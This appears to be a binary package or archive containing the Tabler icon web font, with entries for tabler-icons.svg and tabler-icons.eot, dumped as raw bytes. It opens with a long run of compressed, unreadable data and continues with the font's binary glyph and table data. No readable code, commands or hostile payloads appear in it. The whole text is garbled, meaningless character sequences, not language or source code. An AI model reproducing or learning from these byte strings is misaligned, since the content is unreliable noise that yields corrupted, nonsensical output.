!:3GAf)m$^,sbT냳S󛞍F<-7}NnO^:\A2Ö9e%jDN*UYkBcaan L_ˮDVr;2oIf%o пp|ި2ltW H D!B".3㗒~hP7M۱5Cc(cH Ȗ5vVi蜕^c];sK}J^m4,3濴x{XVMh,JHVB51))ʼ.E0GPae ލ80~+Xj#ϓ/ⲑ@bBa0T啠4r LC2to鉚!j8VZJdT$yBȌ9h ]:1wW&*ܜsc_u7}'eҏ& BX"JZ FbN #($E3, $+e;a'ieU7m4/u? #($E3, $+e;a'ieU7m4/u?aBRi㸞QY^Umquۏ󺟗X6S.)T6[Egp3y ҧwȦe &9a!5"mie2`T+ZC-h\]ܬ q O`?AD0o[g=B31I9<_琣-;}_ǐo/(x'z)B/]b< 8ي/(XCt&bL6'f<Lor.[ng x_`Xvlyh)VN{sdP\qfx $6Va6 Bw;C…Xqƽ&ybgc\2k&8e`'Fqv9@-$D"xDe=|/% hi5hQM*uD"nz묡[.KAŧI6B{IHnju-e`-  Bb+}YAW3‵8õ=KsVC,7 LOq2r;S?+0!;I<8Ȝ@;kRI[|&`)M]v=E!(O[>(AoX( MsMe暿A I~ cRhEPb&ouGW/]֐2G[߸EV-4r`(<ó0+|P>uzϓȓʝ>dǀ2@ aL8j 6\qح2 L[)+>,^1:_'uU*͡; .ڴ(Э+M^".0@Gzr[tR5?}]Kz!ïogÅ.jYP=>m]]+M EH:D_Ug}Y 4.OB:],wv `tuQjBizhAz_l(T%4Y*4-8*4]d(qkQȅ8kձ2ZAӌXt#;&3yiTږj Ѧ躼Aw Spb^ (a;O\x">ބk9e,v~tmPKj`XTCD3lS3e'^+%{]19A]O'ώ5% T&ƦM-)W|: `.PXYxy讷Tvz.2N=uv[{M@_"…1Yblg)gMv}w/:bzUHPl3s;q:BβGNIJ3@Eh܍r cFl bo~:0j$jW V!)Vtf @qN` vRܟ#/yA r *QMc .>S96T+3$&Q@?>g^QZh %z|\(nP%@Ui6cNb7Jzkl!!SBd)+sHqlU]Vs?iqq:kw*ρWNdubn|~ʃDcf{ԣJfɞq$ɔ> d5H(2b}ivHqK%x,4p@ t51\wa+Ùv탘2duWs #;x>Νb""uZ‡lNԆLG[^;ikN7%R(#5Cpy b).l-6fW:hRȨIUY[k՝ؑ2Aink n)Ň0NaGahLVGDAP9bG*xO)`VK*[JSBA&} k/|XgZ]gLN>D艩[3yۖ4DnWloT2Z c;Bn7KQ44pOԃ5|ˎǵ %QQt^-NYx94~H#(cװrܰj1C^jS(X{`Y_ggkY=bVmu9mwCw\Em'$RSX)2atV `:j4Q93m2! kgN?eBsEG/|rhSmߞvV[ŖR'@a4ֿ 7|(Cb v:bok'D$\Boado֋:n_wc']e*1!!Snƙ%DF.t*ƻcZ|z|vhT^˫0OY?uڿ>3g|0ws++ea - 1 LͺX8x/=@;RCQ= s6-;Ɛ~Pn@gsFuS!6H_@u`д>ktr2-CxNQZ,ī[̤~39.HNA:N7wN\ܬxf0ZZO裏Ntt+Qu+#ٝ=ؓ6?P{_v0f Yh1tW#܈yA3 9ـI =Rrɥ?7oO.@ l{mR{:VO<(9G~uF{)>i(N^6ss+\/WPWdj350=Y% 1- !Xbh5Bc TyÄK?sˡt*g5@\Ij"k2t٪i= 3g‡R*3B?#iCP@MfSyg@h&Rϱ?EAy9Ĝ>YloMtEXeH8SߝYvxI[RTU:htQK=+ -Ȭxs:Cvtfy-L;U ͘בk3SfQW:'&P Z.'\7gr(|OsuojRQj} ^4A^;+VH=F p3Ui>b+O~uDq4ɰqjJywwq 4h|g*0r}KA@+ǼK9zm@шzI.vevcw`O6d4O>x 5 G^W9kl#&,D&)[? 'k6%cĠ&Gm3qPLיcs@(fY 7g&ĵrmth6N 3 * RNX67$Wh 6MR:*e(nu*݄hjFV7 1?y~5!u?t W.E)2@xӎTķx@x.gKӰtnyMCLXd=UCmh{>sn=oPKZo-.H$H$fonts/tabler/tabler-icons.svgnu[ PKZf$2 $2 fonts/tabler/tabler-icons.eotnu[$2 l1 LPO/tabler-iconsRegularVersion 1.0tabler-icons 0GSUB %z8TOS/2ABQ|VcmapTV(Iglyf[xXsxuheadW06hhea$hmtx Dloca_0Hmaxp0 nameg/DFpostRc*E/O_< ܬܬ\~  0>DFLTlatnliga 5PfEd@0ad,  ,  . 1Nl0:04Pn2<.z"L ^6F  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~6      <    !! ""!##"$$#%%$&&%''&(('))(**)++*,,+--,..-//.00/110221332443554665776887998::9;;:<<;==<>>=??>@@?AA@BBACCBDDCEEDFFEGGFHHGIIHJJIKKJLLKMMLNNMOONPPOQQPRRQSSRTTSUUTVVUWWVXXWYYXZZY[[Z\\[]]\^^]__^``_aa`bbaccbddceedffeggfhhgiihjjikkjllkmmlnnmoonppoqqprrqssrttsuutvvuwwvxxwyyxzzy{{z||{}}|~~}~          !!""## $$!%%"&&#''$((%))&**'++(,,)--*..+//,00-11.22/330441552663774885996::7;;8<<9==:>>;??<@@=AA>BB?CC@DDAEEBFFCGGDHHEIIFJJGKKHLLIMMJNNKOOLPPMQQNRROSSPTTQUURVVSWWTXXUYYVZZW[[X\\Y]]Z^^[__\``]aa^bb_cc`ddaeebffcggdhheiifjjgkkhllimmjnnkoolppmqqnrrosspttquurvvswwtxxuyyvzzw{{x||y}}z~~{|}~           !!""##$$%%&&''(())**++,,--.. //!00"11#44$55%66&77'88(99)::*;;+<<,==->>.??/@@0AA1BB2CC3DD4EE5FF6GG7HH8II9JJ:KK;LL<MM=NN>PP?QQ@RRASSBTTCUUDVVEWWFXXGYYHZZI[[J\\K]]L^^M__N``OaaPbbQccRddSeeTffUggVhhWiiXjjYkkZll[nn\oo]pp^qq_rr`ssattbuucvvdwwexxfyygzzh{{i||j}}k~~lmnopqrstuvwxyz{|}~      !!""## $$ %% && '' (())**++,,--..//002233445566778899::<< ==!>>"??@@#AA$BB%CC&DD'EE(FF)GG*HH+II,JJ-KK.LL/MM0NN1OO2PP3QQ4RR5SS6TT7UU8VV9WW:XX;YY<ZZ=[[>\\?]]@^^A__B``CaaDbbEccFddGeeHffIggJhhKiiLjjMkkNllOmmPnnQooRppSqqTrrUssVttWuuXvvYwwZxx[yy\zz]{{^||_}}`~~abcdefghijklmnopqrstuvwxyz{|}~      !!""##$$%%&&''(( )) ** ++ ,, --..//00112233445566778899::;;<<==>>?? @@!AA"BB#CC$DD%EE&FF'GG(HH)II*JJ+KK,LL-MM.NN/OO0PP1QQ2RR3SS4TT5UU6VV7WW8XX9YY:ZZ;[[<\\=]]>^^?__@``AaaBbbCccDddEeeFffGggHhhIiiJjjKkkLllMmmNnnOooPppQqqRrrSssTttUuuVvvWwwXxxYyyZzz[{{\||]}}^~~_`abcdefghijklmnopqrstuvwxyz{|}~6      !!""##$$%%&&''(()) ** ++ ,, -- ..//004H\l P 0    h8<DlL |"$%$'<'(X)P*D,.h1@3568h9;<>@ACF(G@HItJPK8NQTxW[]adghPj$kDmoplrsu@wly{}dHHlhHDX Dh$@PTTxT0ǸȨ(̰ΠѠTPxhdެ߰dh| `\(@\  (tltl,d| !$%\&'*+\-.0l24d579:<=>\?X@hAPB,CpDEF|GXH8JtLOQUtVWYd[\]_$a<cTdDefhh4jPkmpoqqtdwy0{~0\,TdD\,D @4hxX`(lӔԔא|٠ܤߠ L,0hD(Tt(x | h\d "#\$%P&&'\'((*@+-.h/T024689;0<=?A$BDxE8HJL@MTNhPRSVY\]`8ce,fhjhkpmpqxrXsu|xz|}L~l XD`(`L4hX(L<<hLHHH,Ũ8XDդx,4ܜ߬tT0|d4xl00   XPXLX "@#0$(& '(+T-/14<68d9<=L?@ADDGHJ@KMP<RULVWZ[\`]_bdLfdg(jjm@p8rptx(y|h~4x$t0hPPl X(@h0Pd<Äh,ƤtȠPHΠ4HӜhTHۜ$DhLdX0d  $\` !x"#$&L( *+\-`.002 3P5T889;=\?ApC ELG|I0IKM,O`QSpUWYZ\L]4_acXdeghijHk0l(mTnoqr|uvx|zp{,}~tPl X8DXH0 ,T\x(tÜƴd4PШTѬ`(Ԕ֠װشd$8``xP ,x < X8`@ X"@$T%l')*, ,-./T04102 4,7L9:<=?ABDFIJ,K L M,O<QDRSTVYXZ\`,dfgi\jlDlnprptTuw,y z}~d\TpH`pXxh$àXŀƴP$ɔp@$Tpм ԀP|׸ۄܘݸL\8Ph$,  `!"$ &x(<*,@-/1t25 68:L;<=<>0?@(ABBDF HXJtLhNORDS@T4U8V$Y([]_acehilmpr@t(v|xz|0$ H|8H\0 48hXˬH0ٔ|ܜݼ\L \D<D d  4 <tD !#$&),-/0t2,48L:=>@4AhB`CF$GHILKMOPPPQTLVXZ\^l`cdfhDjxlmnpDqstvdx z {}8h@HdHPdLt$°hl,|@<   0`DH|,8,X8 @   hlL  "$ &p'd)|+,/ 024h7:\<,=@BDXF4GIKMOQTSVhXZ[]`,axacegPhk<loLpdqs@tu/Qz!&'&'&'&='46?>76;6 #!367676?5&'&/&2'&'&=#/&/5476763+"&/&'&'&547>76;5&767676320'&'&#"3";54&'&+ #   --0!  #`* e! R S  !$        R     ח4  ) ח4% T L   T  ^^ ^^ R   ? T 4*  t1e2"'&'&=&'.547676?547676!2#"&'&'&=&'.547676?5476764632"'&'&=&'.547676?4&#"3264&#"326"#"3264& #  " #     #    #   #  " #  S    "ED (  !"DE " (  !" , '  !"u j  %o2n2'&'&67>764632'&'&/&'&2#"'&/&/&/&/&/&547676767>763";27676?6?67>54'.'&'&"3654'&'#54..  y w !    ; x[ %#! */#$ $   F*?/'"L@-2##  /%%* j 4  X W)   + I& 1*5D/*. %   " #)# $8S .W  " 7* /*/& A S" ! 0 1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&2'&'&47676?>"32654'&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8-   "  0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%} RX #   3!9LX2 '&'&54767>7676#"! 7676'&.2#"'&'&476"276'&'&I&  /+   > $*        A 2@ $ !5 T mk      ". ]""" t*A  '&'&54676;62 '&547676" 7367676'&/&R ^        "           u/H  '&'&54676;6  '&'&54676;6"#" 7654'&'&R ^  R ^  W}    "     "         t/L  '&'&54676;62 '&'&54676;6"#" 7367676'&/&R ^  , X  m  O   "     "        u/C  '&'&54676;62 '&'&54676;6  76764'&'&R ^  & X  m O  "     "       " *7GX  '&'&=&/&'&7676?6!64'%&"!!6767676/"27>4&'&1  RVX '  "\'T G   V : T^¿ B} <   >""uU"#"+7>76'&'&+";2676/./3?67654'&'&/&/&'&'&  !5< 2    2 N7*   $;2     2 E5I   vH&'&476?6!"'&'&'&#"26?676754&'&'&#"54'& WV  3!    !3  $  "2!       !2"u?%#"&'&547>2#"32654'&/327654&'&+?67>54&u   0^ 31  1<#   0_  32 2 v>632#"'#"#";32?6?>4&/&/&  ! 31  1  # x #$ 32 2  v2D"&=676?62#"'&'&/#"'&'&= !67654'&'Z   !3  3!         !2" 2! _    07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"'.'&2?>754&'&54'.'#&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#+ 2 " 2 0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." } wu2  2uw 182#"'&'&/&'&547676767676763"#"3276?6?676?6?6767>4&/&'&'&'&/&'&"2?>'&'.+7>.'&54'&@:/262C*65 ZJ:=/%"5$&CJ   !  #   &2    0* 8 8      j[X   X[ 1:Nx A9.3 *#-  4% ^o J;5.! S  FN;- !  F4"D" 2&*%#  [XX[KM")"54'54&"!67>4'&'&+767654&  n  =I  !  182#"'&'&/&'&547676767676763"#"3276?6?676?6?6767>4&/&'&'&'&/&'&"#"37>?4'&'&'&/&@:/262C*65 ZJ:=/%"5$&CJ   !  #   &2    0* 8 8X[KM    1:Nx A9.3 *#-  4% ^o J;5.! S  FN;- !  F4"D" 2&*% X[ $   MK+"#"!7>?&'.#"'&'&-  n     " n I=$."'&'&#"27>76/.#"54'.'#& \Z    Z\  [Z Z[ KS"3;27>76=4'.'&+"#"'&'&'&54?6767>?676/.'&h2$!S'5 2    2?'  <"eB2     2 7    7:P2!767632+"'&/&'&/!./&?>76#"3276764'&/.# )# /  # A# /     7%  #3   %  ~!  K1"#"76764'&/327>76=4'&'&+767654'&'&Z[  [Z      Z\  \Z  +"'.'&2>?64'&'&6&'&'#& 2  2 2  2uP" Ka+"#3276/./3276764'&'&+7>76'.    2 2`# 2 # 2 L`3"!&;;>?64/.| 2P"   2  Ij[U` 2 2 Hj"[V7"#"7>?3;27676=7>?>=./.  2 2 Hj  2P"  2   Ij8?O2&'&76?!#"&'&'&5476?67>32!'&'&47676#";2>'&  #A   "#   7 %  )    % ~  ! L."#";7>764'.'#&*Z[  [Z   Z\  \Z   07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"#"?>?327676=76767=./.mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#* # 2   2  0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." }  2uw  wu2 182#"'&'&/&'&547676767676763"#"3276?6?676?6?6767>4&/&'&'&'&/&'&"7>76=>76&/3267>'&/&@:/262C*65 ZJ:=/%"5$&CJ   !  #   &2    0* 8 80}  [XX[j    1:Nx A9.3 *#-  4% ^o J;5.! S  FN;- !  F4"D" 2&*% } MK[X X[ *#3276=6=32654'&/3276764&'&'     I=  "182#"'&'&/&'&547676767676763"#"3276?6?676?6?6767>4&/&'&'&'&/&'&"#&;?6?7>765'.'@:/262C*65 ZJ:=/%"5$&CJ   !  #   &2    0* 8 8-(+   MK[X *  1:Nx A9.3 *#-  4% ^o J;5.! S  FN;- !  F4"D" 2&*% [X +KM  )#;3276?26767'./    #  =I n &0"#"3276?;27676=326'&/.  Z\  \Z   Z[  [Z%t*S#"'&/47>7673##"/&/"#3675&'&#"'.   O\ L  y L    , \W           Lt %P&'&476763#"'&'5#"&54?6?"5&'&#"3767654'&'#76?654'.        W[   W\ L $ L  W[L \W      t *Py#"'&/47>7673##"/&/%&'&476763#"'&'5#"&54?6?2767>323"'&'&57676%"#3675&'&#"'.   O\ L         [W  L \W   L    , \W     < $ L  _ L[W     W\ S      L2;p2546?6736;211##"'.'&=47676;'&'&47676!232#"'"'1&'1&5&547>76;276762211+"'&'&=&'&76?#"&/&'5&=4676!"3;27676=>76&/3267654'&'&   <[   "[X X[6  [<   =   * X["   T  [XX[6  1"   [<   [X   X[   <[   "  <[   "+ X[ T*     "[X X[   10H}2+"'&'&54676!2+"'&'&57676762#'&'&/&763%2+"'&'&/&'&=476?676;646372"'&/&5#3!2#"&'&?676736!"'&'&=467672'&'&546?63!#"767654'&'&W    S       ^' //  &IX        ,     W  1    ,       //   //  $  $                2%"'&'#"'&'&'&547676?676763232?4'&/&'&/&'&'&'&/&'&#"327676#"&'&'&'&/&54767676?67676323#"3276?67654'&'& * $=*#0  $- (  2 &/   *     , )(+  @.2A"N69$ !;,$$'/F8Q3 P !"T 1     'E   &,2 1-$ %   &(&(/B    !14G<>C:22:1 &6U &?3 N K  TF) 1Gw%#"/&46?6?&?6?67676?6372#"/#"/#"&'&'"#"32767654'&/&/&'&72764/&/&'&17>76763&'t A  (/K ^F )  A>H  o-   1      " 8,$)  38O ' 0  <F O.y&)'pKB  .&!$ 2)CMI(pl :1 3P3 hl   -(1   &3P  "fa"C5  x"P#)3d23"/&'&'&'&'&476767676?6!!";>?32654'&/767654&#"'&'&j $ " jf  hkGbccb,,  778  X kf . ilTcc ccM$--$ 6  6718\2#"'&'&/&'&547676767676763"#"7676764&/&'&'&'&/&'&'3276?6?67676?@:/262C*65 ZJ:=/%"5$&CJ   2= 8 8M      &2    1:Nx A9.3 *#-  4% ^o J;5.! S' 7- B" 2&*%  #4;- ! u(D[7&'67676?632#4'&'!!676547675'&'.%"32676?65476'.W  '   )A!   8 ! T ,   (j   Z !  V u2Nf}7&'76?6?6?676;632#4'&'!!676547675'&'.%2#"'&4763"32676?65476'.W    xz    )A!   8  !   ! T    (j   Z ! V     V u9Ul2+'&'&/76?6?6?676;64'&'!!676547675'&'.%2#"'&47632#"'&47>3"32>76'5476'&/&    5* 1     {A!   8  !   !  !    AF  *52      Z !  (&     (&     (&  u9Ul2+'&'&/76?6?6?676;64'&'!!676547675'&'.%2#"'&47632#"'&47>32#"'&4763"32>76'5476'&/&    5* 1     {A!   8  !   !   !   !    AF  *52      Z !  (&     (&     (&     (&  u=#"3+"&'&'&7>76?63&'&54&'&#'"'.547>;2#"'&'&'&6?67>5467%";327676?54&'&'&+7676'&'#&b 2    1;& 1   9!  -+3 a  +*    ,       'A@'      #% / -  z  0     VT  98  ?6"!67676547675'&'.54'&'3  )$/   A     "  ( $    T   Z  v1Q7&'&54?>?>75476767>76767632##"'&'&/&="1!&'&54'&/&'&'&'&'&'./&#32?6?676= 'I  @ )$   3   $* $         S "    7K&(-N11 & @d+k&    $0   $2  G    !**N? E      W~2#"'&'&547676323#'.'&"+"'&'&='&'&676?62#"'&'.4>?67676?63!2#"'&'&'&'&547676?63"32?6764'&!"#"32767654'&'&/& 'n $$98    #$C0-  F/ &  %'2(6    # X! 6% % 'A      0(    '   67   5&50-    HLG0   $"?0  #  ,  %: S  4' #0   MU]2#"'&'&=#"&'&'&54>?'.54767>32547676&7>''?6& UU  5Z +} Z5 <0/J0J DD  ~|*H #c H*|~  &&:& :K2(E23'./5#&'&5476?65;76?4+'&'&/'   T !h 0YZ h 0YZ 1      V,A#,A#G]s%#"/&'&"#"/&'&#"'&'7>76?6;2767632%"76762'&!"7676325/&  ( (_& %   ( )0!  >E  1+ +)%+30G#  #  5 L" 8''! '*&"  8b       #      < .E232#"'#&/##"'&?67676?6;6"76762&')1   X^^X   M?c& 8]]8   5995 '/T "88"u",5>H!&/&'&'7>76?6;6"353#35'.'#37#37>?5 '/ )8 $ On  nn}nn  2* % $/Tnnnn nn  nnv!1ES_p -4632/.74632&72".764632/.74632&"&547632%2+".7676!2+"&5476?>#"'&'1&546?6372"&5467637272#"&'&7676#"'&'1&546?6372"&546763724632/.%2".764632& !67654'&'       $       =     X      ~      ~  6   v  $ 5        >  $ *    %S#!     4  T(  4  }  7  $ * i    v ,9JZk~462/.72&54767632.'&676462/.72&5476764632+"&%2&'.7676!2+"'.5476?6  '&'&54676;6462/.%2.'&676!2&5476764632+"&72+"'.5476?632&'.76764632+"&7";2654&%#      %#   C  y     W R ^  %# x   [  C              7   * 7   :  %   "     7    :   % * :  v P]n~462/.72&5476763232+"'&'&=#"'&'&47676;547676462/.72&5476764632+"&%2+"'.5476?6462/.%2&5476764632+"&72+"'.5476?64632+"&7";2654&%#      "   %#   C   M%#   C   4      7  " "   "  * 7   :  7   : * : v+?M^r(7#"'7676324632&72"'&'&6764632/.74632&2+".7676!2+"&5476?>"&5467637272#"&'&7676#"/&546?6372"&546763722"'&'&6764632&2+"&5476?>32+".7676"&5476327";2654'.    T  $            X       ~  $  1  6           8     >" *    i#!     T( 4  S" * i  #! S S   v!.BPar';L]v4632/.74632&72"'&'&6764632/.74632&"&547632%2+".7676!2+"&5476?>#"/&546?6372"&5467637272#"&'&7676#"/&546?6372"&546763724632/.%2"'&'&6764632&"&54763272+"&5476?>32+".7676"&5476327";2654'.     $        ?     X     ~     ~  6   v$  1                  >" *     S#!    4  T( 4  }  7" *  S  #! S S   u/?JZk{!&/&'&/76?6?676;667.'%#462&#"&7>272#".?6?6462#"&/."7>7>'. #   ;   $$$T ~  !   {    !  (   g "#  % $  '#  s$ % u!.BTev +4632/.74632&72"'&'&6764632/.7676762#"'&/"&547632%2+".7676#"/&546?6372"&5467637272#"&'&7676#"/&546?63724632/.%2"'&'&676"&54763272+"&5476?>32+".76763"2654'.     $            ?        ~        v$           %    >" *    P S#!  4  T(   7"  S  #!   v"3G\p 7&'&476?6!"&547632%2+".7676!2+"&5476?>#"/&546?6372"&5467637272#"&'&7676#"/&546?6372"&546763724632/.%2"'&'&6764632&"&54763272+"&5476?>32+".7676"&5476327";2654'. WV [ ?     X     ~     ~  6   v$  1               $   S#!    4  T( 4  }  7" *  S  #! S S   v 0=N^q462/.72&54767632"'&'&7676462/.72&5476764632+"&%2+"'.5476?6#"'&/&546?6372"&547632%#"'&/&546?6372"&547632462/.%2&5476764632+"&72+"'.5476?64632+"&7";2654&%#     "  %#   C      }  f   }  ,%#   C   4      7  "^  * 7   :  =   , =   } 7   : * : u1(.32'&$'&'5767676760/"#6%57     |{[|aN1Z_    _]FFW4FEF2CWu23232 '.'&5476?>76;5476?676?6;6"354&/&'&/!32?676?5'.2#"&'&6763"!>?4#'&/&'(   /*) 1)6 1(/ 5(B  &+%!F  966)6   \  /hT9O#K<1 %!% {   "4(    "   T  LL     LL u"  ML  LM  L9O_232 '&/&/&'&'&54>;547>?676?6#"!'4/&'&'#&"32?>4=1 )%  +&P,5  9C B ,= K  K,  Y    + - T %  ;   M26;7676?67676?2327>323##"&/#"'.'.'##"&'&546?>/&=#'&'&7676?3767'.546327"354'&'.#3546?67367323276?676?6767654'&'E    ~ A?  DD$+  68 $2& )Io ;:DD   -   @     3       # Q)(!/    "     !$ $A $$"  ,#U .    &7#+9%    cg      E7&1Zm '&'&'&7>7?67>76?6;6"#354?676323.'"3&'&'1&'& /      #$|,Q%  |          )+ Tכ #7   )*  % uGr+"'&'&'.'.'.#"+"'&'&'&57>?6?676;6"#3547676?6?63235'&'   )(  "    )(    #$R4P   R &  !p + '2A!  # T)+2* )7-3 2#"'&/32+"'&'&=!"'&'&=#"&/.547676;5#"'&767676?54>32327>?54676735#"/&%3 -%  @A A@ # ` # [    <@ !     "'-$? B"7m $< $    @A A@@A A@   "    "  /2 33e +  1e}&'&4767>;54676763232##"'&/32 '&'&7676;5#"&'&'&547676?53546?>3235&"3545&'.      4n  5      -+  n*S A,% ShfT   " Bn     nBW( %/  BHg@>S 2*R|2332 '&'&47>;67>?>;6"#354567>76;236'&'&'&/232+"'&=#"'&5476;54676"35&'.'&'"'4   !ue!S 3&HSS    <   #  1 4'1   $ P1. Ta %0\EAfR         _  zz  29DR`n23632 '.'&7676;'&'&'&5467>76!%'&'#327657#327657#32765+354567676;23#"'&/#"'&/&'"35&'.'&'D\`) ,+         +, .33;AAA6  * SS9 ! S      t#  1ZU#     c +UZT)  ~ A A Aj   a H %EAM      zz  1+@Zu2332 '&'&7676;76?6?>36"#!6'&'&'&/232#/&'.7676;2"&'1&54?>;62#".7676;632#"&/.=4>232##"'&'&?>?6;63"3327676/&'"'4   'ޜ!        -             "      " 1 4'1   @? /Tf{  %             ;cn2#"&'&'&54&'&'&'&'&'&54767676?63#"3767676?54'&/.'&'&#276?5o= -"  )! B   9$+,3      ( [#+ 2O  / B %! U9  S!&>    `6  614N2#"&'.=467676#"/./&5476?>32"&54?6?>7632'2#"&'&'&54&'&'&'&'&'&54767676?63#"3767676?676=4'&/&'&'&#2#"&'&47>!2#"&'&'54676;6#276?5      $ $  $0     S B   9 #+,3               ( 1"   $ $3   $5 # "<   MB %! U9  S!&>"      {       6  6u1?fv235?6767>32!"'.'&47>767676376;54676"!5'&'&+'&/5#'&'&=!!367>?%"3767>76'54'&'&/&W  { 7 (4    ;F    $ _.  j 1   i?6)   DDDD      D ,  $ u5Aky2357676?632#!"'&'&'&4?6?>76;54676"!5'.++"&'&'5#+"'&'&=! 7>?%"#"7676?6=&'.W  " 3( 7   )  ;F       1     ))6 ?  DDDD    --    D  ,-   GEDi32 '.'&5476?>76;267676767676?6;6&'#"'&/&'&'&=#+!672#+"'&'&6?67676?"2>7654'&  "#,  )6 0     J    +! \0% 0 93"  #2 + #%  -  !/ { 4(    "         t"  %"3".=S,8 % Di32"&/&'&'&=#"'&/&'&'&'&/&=67>;6"#354767673636;5&'&'&"#";67676?5&'.'&'2#"'&'&47676">'.@ ! I !8     $3 t[  -$f .kk  qF 0# "3?'  %E (   & >#   t-T t D=)5     u *#;"4/7S  N{ #&'&7676?32326?676'&'&'# #"&'&476?6?676767#"&'4'.'#&#'&'&'&?6?>32"&54'&/&/&'&#".7>32'"#"32654'&/.       5  K "  1% &5'@_E    %"@       (      '/  .`6     & dP"?      *;,V  "   &/S  u.Q_#"&'1&/+&'.54?6;76763721&54767>327676372'&/!5&u  AEZX  GH51 !  ]]  1 HFJG   -;  tg#=4AElj $$GB   Hoo   !#$]X   `'9J  9<u%3F2 '&'&54671676767>3#'!5& # 7654'&'  ^   EGJF  *10 43#=      #$]Xh4=< GMM<    <AEJ2#! '&'&'&7547471>7673547475676;54767>?6;6#3#3%#35D 2   4 SX 4{k;S" & .AY 0 / 8  S`t>t232+#"&'&=#"'./&/&=67>?>754676"'#"'&'&'&47>;5476763232+632321+#"&'&=#"'./&/&547>3#3%#3#35        $  0       &      0[RR RR)R  u    D?    )  %     )*    U^% S||}})\z22767676?676?3#"'&'&'&'&'&5476?6767676?632+&'.'&'&'&'54567>"327676?6?676767654##"'&'&547671676?5&'37'&'&'&  J   #7$  >0K<17% E| N fT   2(%!    0!09#  '??   &9F9& &  34  ')[[ % /"      !-4.   %17>L%h5  :&   & I& %*/9!&      !&(2    +'-8 )!?6 $h  ' v9J2+./#"'&/&54?6?676767>3 #!654'&'     K7e,#VW  -GJF      &D   $]X  ! (Mq!#"'&'&/&/&'&'&5476?6767676?6;272#"'"'1.'1&5&=4567>"3327676?6?676767654#"'&'&'&'5&=&'3&/&'&      >04&0#   9" E|  } 71># hC 2(%!    # "#  & z&    !-      A8J_%h5  5}(1>4! C.& I& %*/9!&     !&(2  ~$z v""'&'&'&26716764&M \9  \9  !$;"7676.'&'&/&   mp 7  mp">76&/7>./&z mppm     mppm"?664&/&mppm    mppm %8"?6?>76'&/&  pm 7 pm  A2'&'&'&476327671>"76767654&#"1'&'&il lj W[[W  e jl li  W[[W  illi $W[[W illi W[[W$G%#"'&'.467676763211"32654&'1&/7671>54& il li  W[[W il li W[[Wjllh  W[[W  hllj  W[[W  "?%"&546716?'&'&54762"132767>4&'&'&+W[[W il li  W[[W il li   W[[W jllj W[[W  jllj$I"&5476767632#"&'1&/17"326716?132654'&'&/&+lm  li  W[[W  ml  W[[W  il  kmli W[[W*ml W[[W il07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"'&'&"12>76.mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#O EH   X  0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." EG Y 1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&"#& 7367676'&/&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 80&*     0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%  182#"'&'&/&'&547676767676763"#"3276?6?676?6?6767>4&/&'&'&'&/&'&"#";7>76=3267>'&'&+54'&@:/262C*65 ZJ:=/%"5$&CJ   !  #   &2    0* 8 80 +- -+ 5   !8 1:Nx A9.3 *#-  4% ^o J;5.! S  FN;- !  F4"D" 2&*%"-+  +- -+ +-"1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&"11326716?132654&'1&/7671>54&#"1'&'&'&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8    (  0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."    ' 1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 80  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."L13Ny232#"&/.'&'6767>;67676?6";26?>54&'&'&'&'.++"'.'#"#"!>76'"'&/&+";2>?6'.&H $( 4 -,( 5#       1#D#1     ~ v7 Y  1? .*?'"1 6#'*'T  s  ++ !T$ Pt6 Z  L11Lw232!"'.'&'&'6767>;67676?6";26?>54&'&'&'&'.++"'.'#"#"!>76%2.'&7637236#"'&4762+"&?>?637"#&;7>/&'2 H $( I * -' 5#       1#D#1           /*      )1? .*?'"1 '*'T  s  ++ !T$ P    <        L27R23232#"&/.'&'6767>;67676?6";26?>54&'&'&'&'.++"'.'#"#"!>76%"32?6?32654&/7>754&/.'&  $  $!- 4 -,( 5#       1D#1      ;&  ; $- 1 & .*?'-6#'*'T  s * + !T$ P  < & <  , L16Q|232#!"'.'&'&'6767>3247>76?6";26?>54&'&'"#"!>76'&'.++"'.'2   $ * R * -'  5#           #F#0 1  .*>'0 '*' T  S!T$   + 1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&">76'&/54'&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8- /F 0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%S  